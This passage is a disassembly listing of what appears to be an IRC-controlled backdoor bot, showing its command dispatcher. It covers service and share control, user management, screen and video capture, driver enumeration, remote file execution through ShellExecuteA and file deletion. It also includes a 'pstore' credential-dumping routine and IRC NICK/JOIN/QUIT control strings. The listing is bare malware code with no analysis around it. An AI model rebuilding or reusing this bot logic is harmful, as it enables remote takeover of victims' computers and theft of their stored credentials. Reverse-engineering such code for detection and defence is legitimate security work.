loc_404A72: ; CODE XREF: sub_401C87+2DD7j
; sub_401C87+2DDFj
cmp [ebp+var_C], ebx
jz loc_405EA0
mov edi, [ebp+esi+var_8C]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_404A97
push edi
push [ebp+var_C]
call sub_417E00
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_404A97: ; CODE XREF: sub_401C87+2E00j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404B04
cmp edi, ebx
jz short loc_404AD2
push [ebp+arg_0]
push 3
call sub_412280
push eax
push offset aS_1 ; "%s"
loc_404ABE: ; CODE XREF: sub_401C87+2EA0j
; sub_401C87+2EC5j ...
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
add esp, 14h
jmp loc_405EA0
; ---------------------------------------------------------------------------
loc_404AD2: ; CODE XREF: sub_401C87+2E25j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412527
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2C8]
jz short loc_404AFA
push offset unk_438F8C
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_404AFA: ; CODE XREF: sub_401C87+2E67j
push offset unk_438FB0
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_404B04: ; CODE XREF: sub_401C87+2E21j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404B29
push [ebp+arg_0]
push 4
call sub_412280
push eax
push offset aS_2 ; "%s"
jmp short loc_404ABE
; ---------------------------------------------------------------------------
loc_404B29: ; CODE XREF: sub_401C87+2E8Ej
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404B51
push [ebp+arg_0]
push 5
call sub_412280
push eax
push offset aS_3 ; "%s"
jmp loc_404ABE
; ---------------------------------------------------------------------------
loc_404B51: ; CODE XREF: sub_401C87+2EB3j
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404B79
push [ebp+arg_0]
push 6
call sub_412280
push eax
push offset aS_4 ; "%s"
jmp loc_404ABE
; ---------------------------------------------------------------------------
loc_404B79: ; CODE XREF: sub_401C87+2EDBj
push [ebp+arg_10]
push offset aDelete_0 ; "delete"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404BA1
push [ebp+arg_0]
push 1
call sub_412280
push eax
push offset aS_5 ; "%s"
jmp loc_404ABE
; ---------------------------------------------------------------------------
loc_404BA1: ; CODE XREF: sub_401C87+2F03j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404C2C
cmp edi, ebx
jz short loc_404BF9
cmp [ebp+var_968], bl
jz short loc_404BD1
push ebx
push edi
push 1
call sub_412667
push eax
push offset aS_6 ; "%s"
jmp short loc_404BE5
; ---------------------------------------------------------------------------
loc_404BD1: ; CODE XREF: sub_401C87+2F37j
push [ebp+esi+var_88]
push edi
push ebx
call sub_412667
push eax
push offset aS_7 ; "%s"
loc_404BE5: ; CODE XREF: sub_401C87+2F48j
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
add esp, 18h
jmp loc_405EA0
; ---------------------------------------------------------------------------
loc_404BF9: ; CODE XREF: sub_401C87+2F2Fj
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_41285C
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C8]
jz short loc_404C22
push offset unk_439014
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_404C22: ; CODE XREF: sub_401C87+2F8Fj
push offset unk_439038
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_404C2C: ; CODE XREF: sub_401C87+2F2Bj
push [ebp+arg_10]
push offset aUser_0 ; "user"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_404CDD
cmp edi, ebx
jz short loc_404CAA
push [ebp+var_4]
cmp [ebp+var_968], bl
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_404C6C
push ebx
push edi
push 1
call sub_41297D
push eax
push offset aS_8 ; "%s"
jmp short loc_404C96
; ---------------------------------------------------------------------------
loc_404C6C: ; CODE XREF: sub_401C87+2FD2j
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_404C87
push esi
push edi
push ebx
call sub_41297D
push eax
push offset aS_9 ; "%s"
jmp short loc_404C96
; ---------------------------------------------------------------------------
loc_404C87: ; CODE XREF: sub_401C87+2FEEj
push ebx
push edi
push 2
call sub_41297D
push eax
push offset aS_10 ; "%s"
loc_404C96: ; CODE XREF: sub_401C87+2FE3j
; sub_401C87+2FFEj
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
add esp, 24h
jmp loc_405EA0
; ---------------------------------------------------------------------------
loc_404CAA: ; CODE XREF: sub_401C87+2FBEj
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412E91
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C8]
jz short loc_404CD3
push offset unk_43906C
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_404CD3: ; CODE XREF: sub_401C87+3040j
push offset unk_43908C
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_404CDD: ; CODE XREF: sub_401C87+2FB6j
push [ebp+arg_10]
push offset aSend ; "send"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404D2C
cmp edi, ebx
jz short loc_404D22
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41313B
push eax
lea eax, [ebp+var_2C8]
push offset aS_11 ; "%s"
push eax
call sub_417CB0
add esp, 1Ch
jmp loc_405EA0
; ---------------------------------------------------------------------------
loc_404D22: ; CODE XREF: sub_401C87+306Bj
push offset unk_4390B8
jmp loc_406FF6
; ---------------------------------------------------------------------------
loc_404D2C: ; CODE XREF: sub_401C87+3067j
push offset unk_4390DC
jmp loc_406FF6
; ---------------------------------------------------------------------------
loc_404D36: ; CODE XREF: sub_401C87+2DCBj
push edi
push offset aCapture ; "capture"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404E6A
push edi
push offset aCap ; "cap"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz loc_404E6A
push edi
push offset aGethost ; "gethost"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jz short loc_404D86
push edi
push offset aGh ; "gh"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_405904
loc_404D86: ; CODE XREF: sub_401C87+30E8j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_417E00
pop ecx
test eax, eax
pop ecx
jz loc_40743C
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_404E21
push esi
push [ebp+var_C]
call sub_417E00
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2C8]
jz short loc_404E0F
push esi
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset aSSSS ; "%s %s %s :%s"
push eax
call sub_417CB0
lea eax, [ebp+var_2C8]
push 1FFh
push eax
push [ebp+arg_0]
call sub_417760
push esi
lea eax, [ebp+var_2C8]
push [ebp+arg_10]
push offset unk_439120
push eax
call sub_417CB0
add esp, 34h
inc [ebp+arg_24]
jmp loc_4051F3
; ---------------------------------------------------------------------------
loc_404E0F: ; CODE XREF: sub_401C87+3134j
push offset unk_439148
push eax
call sub_417CB0
pop ecx
pop ecx
jmp loc_4051F3
; ---------------------------------------------------------------------------
loc_404E21: ; CODE XREF: sub_401C87+311Dj
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_414A60
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
push [ebp+arg_10]
lea eax, [ebp+var_2C8]
push offset dword_439178
push 200h
push eax
call sub_417E80
add esp, 24h
jmp loc_4051F3
; ---------------------------------------------------------------------------
loc_404E6A: ; CODE XREF: sub_401C87+30BEj
; sub_401C87+30D3j
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_404EC5
mov edi, [ebp+esi+var_8C]
cmp edi, ebx
jz short loc_404EB2
push edi
call sub_40FC06
cmp eax, 1
pop ecx
lea eax, [ebp+var_2C8]
jnz short loc_404EAB
push edi
push offset unk_43919C
push eax
call sub_417CB0
add esp, 0Ch
jmp short loc_404EC5
; ---------------------------------------------------------------------------
loc_404EAB: ; CODE XREF: sub_401C87+3211j
push offset unk_4391C8
jmp short loc_404EBD
; ---------------------------------------------------------------------------
loc_404EB2: ; CODE XREF: sub_401C87+31FFj
push offset unk_4391F8
lea eax, [ebp+var_2C8]
loc_404EBD: ; CODE XREF: sub_401C87+3229j
push eax
call sub_417CB0
pop ecx
pop ecx
loc_404EC5: ; CODE XREF: sub_401C87+31F4j
; sub_401C87+3222j
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_404F5F
mov [ebp+arg_8], ebx
mov edi, 0FFh
loc_404EE4: ; CODE XREF: sub_401C87+32C3j
lea eax, [ebp+var_11BC]
push 1FFh
push eax
lea eax, [ebp+var_1510]
push edi
push eax
push [ebp+arg_8]
call dword_4D6698
test eax, eax
jz short loc_404F43
lea eax, [ebp+var_11BC]
push eax
lea eax, [ebp+var_1510]
push eax
lea eax, [ebp+var_1D1C]
push [ebp+arg_8]
push offset unk_43923C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_1D1C]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 28h
loc_404F43: ; CODE XREF: sub_401C87+327Cj
inc [ebp+arg_8]
cmp [ebp+arg_8], 0Ah
jl short loc_404EE4
lea eax, [ebp+var_2C8]
push offset unk_439264
push eax
call sub_417CB0
pop ecx
pop ecx
loc_404F5F: ; CODE XREF: sub_401C87+324Fj
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_405003
cmp [ebp+esi+var_8C], ebx
jz short loc_404FF0
cmp [ebp+esi+var_88], ebx
jz short loc_404FF0
mov edi, [ebp+esi+var_84]
cmp edi, ebx
jz short loc_404FF0
mov eax, [ebp+esi+var_80]
cmp eax, ebx
jz short loc_404FF0
push eax
call sub_417960
pop ecx
push eax
push edi
call sub_417960
pop ecx
push eax
push [ebp+esi+var_88]
call sub_417960
pop ecx
push eax
push [ebp+esi+var_8C]
call sub_40FE41
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C8]
jnz short loc_404FE9
push [ebp+esi+var_8C]
push offset unk_439294
push eax
call sub_417CB0
add esp, 0Ch
jmp short loc_405003
; ---------------------------------------------------------------------------
loc_404FE9: ; CODE XREF: sub_401C87+3349j
push offset unk_4392C0
jmp short loc_404FFB
; ---------------------------------------------------------------------------
loc_404FF0: ; CODE XREF: sub_401C87+32F6j
; sub_401C87+32FFj ...
push offset unk_4392F4
lea eax, [ebp+var_2C8]
loc_404FFB: ; CODE XREF: sub_401C87+3367j
push eax
call sub_417CB0
pop ecx
pop ecx
loc_405003: ; CODE XREF: sub_401C87+32E9j
; sub_401C87+3360j
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz loc_405EA0
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_4050A4
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_4050A4
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz short loc_4050A4
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_4050A4
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz short loc_4050A4
push esi
call sub_417960
pop ecx
push eax
push edi
call sub_417960
pop ecx
push eax
push [ebp+arg_1C]
call sub_417960
pop ecx
push eax
push [ebp+arg_18]
call sub_417960
pop ecx
push eax
push [ebp+arg_0]
call sub_41003A
add esp, 14h
test eax, eax
lea eax, [ebp+var_2C8]
jnz short loc_40509A
push [ebp+arg_0]
push offset unk_439334
jmp loc_405E97
; ---------------------------------------------------------------------------
loc_40509A: ; CODE XREF: sub_401C87+3404j
push offset unk_439360
jmp loc_406FFC
; ---------------------------------------------------------------------------
loc_4050A4: ; CODE XREF: sub_401C87+339Fj
; sub_401C87+33ADj ...
push offset dword_4393A0
jmp loc_406FF6
; ---------------------------------------------------------------------------
loc_4050AE: ; CODE XREF: sub_401C87+2CCCj
; sub_401C87+2CE1j
push offset word_4393DE
push [ebp+arg_10]
call sub_4176E0
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
lea eax, [ebp+var_2C8]
jz short loc_40512C
mov esi, 200h
push edi
push esi
push eax
call sub_4186C0
add esp, 0Ch
jmp short loc_405106
; ---------------------------------------------------------------------------
loc_4050DB: ; CODE XREF: sub_401C87+3481j
push 1
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
push edi
lea eax, [ebp+var_2C8]
push esi
push eax
call sub_4186C0
add esp, 20h
loc_405106: ; CODE XREF: sub_401C87+3452j
test eax, eax
jnz short loc_4050DB
push edi
call sub_414F40
push [ebp+arg_10]
lea eax, [ebp+var_2C8]
push offset unk_4393E0
push eax
call sub_417CB0
add esp, 10h
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_40512C: ; CODE XREF: sub_401C87+3440j
push [ebp+arg_10]
push offset dword_439404
jmp loc_405E97
; ---------------------------------------------------------------------------
loc_405139: ; CODE XREF: sub_401C87+2CA2j
; sub_401C87+2CB7j
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_10]
push [ebp+var_C]
call sub_417E00
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40743C
push offset word_439426
push esi
call sub_418880
push esi
call sub_413B98
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2C8]
jnz short loc_40517E
push offset unk_439428
jmp short loc_4051CA
; ---------------------------------------------------------------------------
loc_40517E: ; CODE XREF: sub_401C87+34EEj
push esi
push offset dword_439454
push eax
call sub_417CB0
add esp, 0Ch
jmp short loc_4051F3
; ---------------------------------------------------------------------------
loc_40518F: ; CODE XREF: sub_401C87+2C78j
; sub_401C87+2C8Dj
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_10]
push [ebp+var_C]
call sub_417E00
pop ecx
cmp eax, ebx
pop ecx
jz loc_40743C
push eax
call sub_411C15
test eax, eax
pop ecx
lea eax, [ebp+var_2C8]
jnz short loc_4051C5
push offset unk_43946C
jmp short loc_4051CA
; ---------------------------------------------------------------------------
loc_4051C5: ; CODE XREF: sub_401C87+3535j
push offset dword_43948C
loc_4051CA: ; CODE XREF: sub_401C87+34F5j
; sub_401C87+353Cj
push eax
call sub_417CB0
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_4051F3
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_4051F3: ; CODE XREF: sub_401C87+3183j
; sub_401C87+3195j ...
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
pop ecx
jmp loc_40743C
; ---------------------------------------------------------------------------
loc_405205: ; CODE XREF: sub_401C87+2C4Ej
; sub_401C87+2C63j
push 7Fh
lea eax, [ebp+var_CF0]
push [ebp+arg_10]
push eax
call sub_417760
mov esi, [ebp+esi+var_8C]
add esp, 0Ch
cmp esi, ebx
jz short loc_405236
push 7Fh
lea eax, [ebp+var_C70]
push esi
push eax
call sub_417760
add esp, 0Ch
loc_405236: ; CODE XREF: sub_401C87+359Bj
push 7Fh
lea eax, [ebp+var_BF0]
push [ebp+var_8C]
push eax
call sub_417760
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_CF4], eax
mov eax, [ebp+var_8]
mov [ebp+var_B6C], eax
mov eax, [ebp+var_4]
mov [ebp+var_B68], eax
lea eax, [ebp+var_2C8]
push offset dword_4394A8
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 1Ch
push eax
call sub_409663
add esp, 24h
mov [ebp+var_B70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_CF4]
push ebx
push eax
push offset sub_414C86
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_B70]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_4052E8
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_4394C0
loc_4052CC: ; CODE XREF: sub_401C87+2481j
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
add esp, 0Ch
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_4052E0: ; CODE XREF: sub_401C87+3667j
push 32h
call dword_4E033C ; Sleep
loc_4052E8: ; CODE XREF: sub_401C87+3637j
cmp [ebp+var_B64], ebx
jz short loc_4052E0
jmp loc_405EC1
; ---------------------------------------------------------------------------
loc_4052F5: ; CODE XREF: sub_401C87+2C24j
; sub_401C87+2C39j
push ebx
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_40E08D
push [ebp+arg_10]
push offset dword_439500
jmp loc_407126
; ---------------------------------------------------------------------------
loc_405314: ; CODE XREF: sub_401C87+2BFAj
; sub_401C87+2C0Fj
push 14h
lea eax, [ebp+var_1168]
push ebx
push eax
call sub_417700
push [ebp+arg_10]
lea eax, [ebp+var_1154]
push offset dword_439518
push eax
call sub_417CB0
mov eax, [ebp+arg_4]
mov [ebp+var_1170], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_1050]
push 80h
push eax
call sub_417E80
mov eax, [ebp+var_4]
mov [ebp+var_FC8], eax
mov eax, [ebp+var_8]
mov [ebp+var_FC4], eax
lea eax, [ebp+var_1050]
push eax
lea eax, [ebp+var_1154]
push eax
lea eax, [ebp+var_2C8]
push offset unk_43951C
push eax
call sub_417CB0
push ebx
lea eax, [ebp+var_2C8]
push 1Ah
push eax
call sub_409663
add esp, 40h
mov [ebp+var_FCC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1170]
push ebx
push eax
push offset sub_410673
push ebx
push ebx
call dword_4E0340 ; CreateThread
mov ecx, [ebp+var_FCC]
imul ecx, 234h
cmp eax, ebx
mov dword_4495B4[ecx], eax
jnz short loc_4053E9
call dword_4E0350 ; RtlGetLastWin32Error
push eax
push offset unk_439540
jmp loc_406DB6
; ---------------------------------------------------------------------------
loc_4053E1: ; CODE XREF: sub_401C87+3768j
push 32h
call dword_4E033C ; Sleep
loc_4053E9: ; CODE XREF: sub_401C87+3747j
cmp [ebp+var_FC0], ebx
jz short loc_4053E1
jmp loc_40259F
; ---------------------------------------------------------------------------
loc_4053F6: ; CODE XREF: sub_401C87+2BD0j
; sub_401C87+2BE5j
push [ebp+arg_10]
call dword_4E0344 ; DeleteFileA
test eax, eax
jz short loc_40540D
push [ebp+arg_10]
push offset dword_43957C
jmp short loc_405418
; ---------------------------------------------------------------------------
loc_40540D: ; CODE XREF: sub_401C87+377Aj
push offset dword_439598
call sub_411B50
push eax
loc_405418: ; CODE XREF: sub_401C87+3784j
lea eax, [ebp+var_2C8]
push 200h
push eax
call sub_417E80
jmp loc_4054FB
; ---------------------------------------------------------------------------
loc_40542E: ; CODE XREF: sub_401C87+2BA6j
; sub_401C87+2BBBj
push [ebp+arg_10]
call sub_417960
push eax
call sub_413B11
xor esi, esi
pop ecx
inc esi
pop ecx
push [ebp+arg_10]
cmp eax, esi
lea eax, [ebp+var_2C8]
jnz short loc_405455
push offset unk_4395A4
jmp short loc_40545A
; ---------------------------------------------------------------------------
loc_405455: ; CODE XREF: sub_401C87+37C5j
push offset unk_4395C8
loc_40545A: ; CODE XREF: sub_401C87+37CCj
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_405EC4
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
jmp loc_405EC4
; ---------------------------------------------------------------------------
loc_40548D: ; CODE XREF: sub_401C87+2B7Cj
; sub_401C87+2B91j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_4137F3
add esp, 18h
cmp eax, 1
lea eax, [ebp+var_2C8]
push [ebp+arg_10]
jnz short loc_4054B9
push offset unk_4395F8
jmp loc_405E97
; ---------------------------------------------------------------------------
loc_4054B9: ; CODE XREF: sub_401C87+3826j
push offset unk_439618
jmp loc_405E97
; ---------------------------------------------------------------------------
loc_4054C3: ; CODE XREF: sub_401C87+2B52j
; sub_401C87+2B67j
mov esi, [ebp+arg_10]
push esi
call dword_4D66A8 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_405503
push 2
lea eax, [ebp+arg_0]
push 4
push eax
call dword_4D6620 ; gethostbyaddr
cmp eax, ebx
jz short loc_405524
push dword ptr [eax]
push esi
push offset unk_439648
loc_4054EF: ; CODE XREF: sub_401C87+389Bj
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
loc_4054FB: ; CODE XREF: sub_401C87+37A2j
add esp, 10h
jmp loc_405EA0
; ---------------------------------------------------------------------------
loc_405503: ; CODE XREF: sub_401C87+384Cj
push esi
call dword_4D66EC ; gethostbyname
cmp eax, ebx
jz short loc_405524
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4D66F4 ; inet_ntoa
push eax
push esi
push offset unk_439668
jmp short loc_4054EF
; ---------------------------------------------------------------------------
loc_405524: ; CODE XREF: sub_401C87+385Ej
; sub_401C87+3885j
push offset unk_439688
jmp loc_406FF6
; ---------------------------------------------------------------------------
loc_40552E: ; CODE XREF: sub_401C87+2B28j
; sub_401C87+2B3Dj
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_417760
push [ebp+arg_10]
lea eax, [ebp+var_2C8]
push offset unk_4396B0
push eax
call sub_417CB0
add esp, 18h
jmp loc_40652F
; ---------------------------------------------------------------------------
loc_405557: ; CODE XREF: sub_401C87+2AFEj
; sub_401C87+2B13j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen_0 ; "open"
push ebx
call dword_4D65D4 ; ShellExecuteA
push [ebp+arg_10]
test eax, eax
lea eax, [ebp+var_2C8]
jz short loc_405581
push offset unk_4396E0
jmp loc_405E97
; ---------------------------------------------------------------------------
loc_405581: ; CODE XREF: sub_401C87+38EEj
push offset unk_439700
jmp loc_405E97
; ---------------------------------------------------------------------------
loc_40558B: ; CODE XREF: sub_401C87+2AD4j
; sub_401C87+2AE9j
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_437098, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_439724
jmp loc_406520
; ---------------------------------------------------------------------------
loc_4055A4: ; CODE XREF: sub_401C87+2AAAj
; sub_401C87+2ABFj
push [ebp+arg_10]
call sub_417960
test eax, eax
pop ecx
jle loc_40743C
push [ebp+arg_10]
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40743C
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_409361
push eax
lea eax, [ebp+var_2C8]
push offset aNickS_0 ; "NICK %s"
push eax
call sub_417CB0
add esp, 1Ch
lea eax, [ebp+var_2C8]
push eax
push offset aS_24 ; "%s\r\n"
jmp loc_407050
; ---------------------------------------------------------------------------
loc_4055FF: ; CODE XREF: sub_401C87+2A80j
; sub_401C87+2A95j
mov esi, [ebp+arg_10]
push esi
call sub_417960
test eax, eax
pop ecx
jle loc_40622C
push esi
call sub_417960
cmp eax, 400h
pop ecx
jge loc_40622C
push offset aQuitLater_0 ; "QUIT :later\r\n"
push esi
call sub_417960
imul eax, 234h
pop ecx
push dword_4495AC[eax]
call sub_407604
pop ecx
pop ecx
push 1F4h
call dword_4E033C ; Sleep
push esi
call sub_417960
imul eax, 234h
pop ecx
push dword_4495AC[eax]
call dword_4D6700 ; closesocket
push [ebp+var_10]
push esi
call sub_417960
imul eax, 234h
pop ecx
push dword_4495B4[eax]
call dword_4E0378 ; TerminateThread
push esi
call sub_417960
imul eax, 234h
push esi
mov dword_4495B4[eax], ebx
call sub_417960
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_4493A0[eax], bl
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_4056AD: ; CODE XREF: sub_401C87+2A56j
; sub_401C87+2A6Bj
push [ebp+arg_10]
push offset aAll ; "all"
call sub_418A30
pop ecx
test eax, eax
pop ecx
jnz short loc_4056EC
call sub_409826
cmp eax, ebx
jle short loc_4056D4
push eax
push offset unk_439770
jmp loc_40606C
; ---------------------------------------------------------------------------
loc_4056D4: ; CODE XREF: sub_401C87+3A40j
push offset unk_439798
loc_4056D9: ; CODE XREF: sub_401C87+1FBCj
; sub_401C87+1FDBj ...
lea eax, [ebp+var_2C8]
push eax
call sub_417CB0
pop ecx
pop ecx
jmp loc_40607B
; ---------------------------------------------------------------------------
loc_4056EC: ; CODE XREF: sub_401C87+3A37j
mov eax, [ebp+var_A8]
lea esi, [eax+1]
jmp short loc_405763
; ---------------------------------------------------------------------------
loc_4056F7: ; CODE XREF: sub_401C87+3ADFj
mov edi, [ebp+esi*4+var_94]
cmp edi, ebx
jz loc_40622C
push edi
call sub_417960
push eax
call sub_40979E
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+var_2C8]
jz short loc_405726
push offset unk_4397C0
jmp short loc_40572B
; ---------------------------------------------------------------------------
loc_405726: ; CODE XREF: sub_401C87+3A96j
push offset unk_4397E4
loc_40572B: ; CODE XREF: sub_401C87+3A9Dj
push eax
call sub_417CB0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_405755
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
loc_405755: ; CODE XREF: sub_401C87+3AB0j
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
pop ecx
inc esi
loc_405763: ; CODE XREF: sub_401C87+3A6Ej
cmp esi, 20h
jb short loc_4056F7
jmp loc_40622C
; ---------------------------------------------------------------------------
loc_40576D: ; CODE XREF: sub_401C87+2A2Cj
; sub_401C87+2A41j
cmp [ebp+var_C], ebx
jz loc_40743C
push [ebp+arg_10]
push [ebp+var_C]
call sub_417E00
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40743C
push esi
push offset aS_25 ; "%s\r\n"
push [ebp+arg_4]
call sub_407604
push esi
push offset dword_439818
jmp short loc_4057F9
; ---------------------------------------------------------------------------
loc_4057A3: ; CODE XREF: sub_401C87+2A02j
; sub_401C87+2A17j
push [ebp+arg_10]
push offset dword_439834
push [ebp+arg_4]
call sub_407604
push [ebp+arg_10]
push offset unk_439840
jmp short loc_4057F9
; ---------------------------------------------------------------------------
loc_4057BD: ; CODE XREF: sub_401C87+29D8j
; sub_401C87+29EDj
push [ebp+esi+var_8C]
push [ebp+arg_10]
push offset aJoinSS_1 ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_407604
push [ebp+arg_10]
push offset unk_439874
jmp loc_407126
; ---------------------------------------------------------------------------
loc_4057E1: ; CODE XREF: sub_401C87+29AEj
; sub_401C87+29C3j
push [ebp+arg_10]
push offset aNickS_1 ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_407604
push [ebp+arg_10]
push offset unk_4398A4
loc_4057F9: ; CODE XREF: sub_401C87+3B1Aj
; sub_401C87+3B34j ...
call sub_40F99B
loc_4057FE: ; CODE XREF: sub_401C87+5638j
add esp, 14h
jmp loc_40743C
; ---------------------------------------------------------------------------
loc_405806: ; CODE XREF: sub_401C87+2984j
; sub_401C87+2999j
push offset aQuitReconnec_0 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_407604
push [ebp+arg_10]
lea eax, [ebp+var_2C8]
push offset unk_4398E0
push eax
call sub_417CB0
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
push [ebp+arg_10]
call sub_417960
add esp, 1Ch
loc_40583E: ; CODE XREF: sub_401C87+3C03j
push eax
call dword_4E033C ; Sleep
loc_405845: ; CODE XREF: sub_401C87+2595j
xor eax, eax
jmp loc_4075FF
; ---------------------------------------------------------------------------
loc_40584C: ; CODE XREF: sub_401C87+295Aj
; sub_401C87+296Fj
push offset aQuitReconnec_1 ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_407604
push [ebp+arg_10]
lea eax, [ebp+var_2C8]
push offset unk_43991C
push eax
call sub_417CB0
lea eax, [ebp+var_2C8]
push eax
call sub_40F927
push [ebp+arg_10]
call sub_417960
add esp, 1Ch
imul eax, 3E8h
jmp short loc_40583E
; ---------------------------------------------------------------------------
loc_40588C: ; CODE XREF: sub_401C87+2930j
; sub_401C87+2945j
mov eax, [ebp+arg_4]
push [ebp+var_8C]
mov [ebp+var_8B0], eax
lea eax, [ebp+var_8AC]
push eax
call sub_418870
push offset aModdd ; "Moddd"
lea eax, [ebp+var_2C8]
push offset aExecutedPstore ; "Executed pstore"
push eax
call sub_417CB0
add esp, 14h
cmp [ebp+var_8], ebx
jnz short loc_4058E1
push ebx
lea eax, [ebp+var_2C8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40764A
add esp, 14h
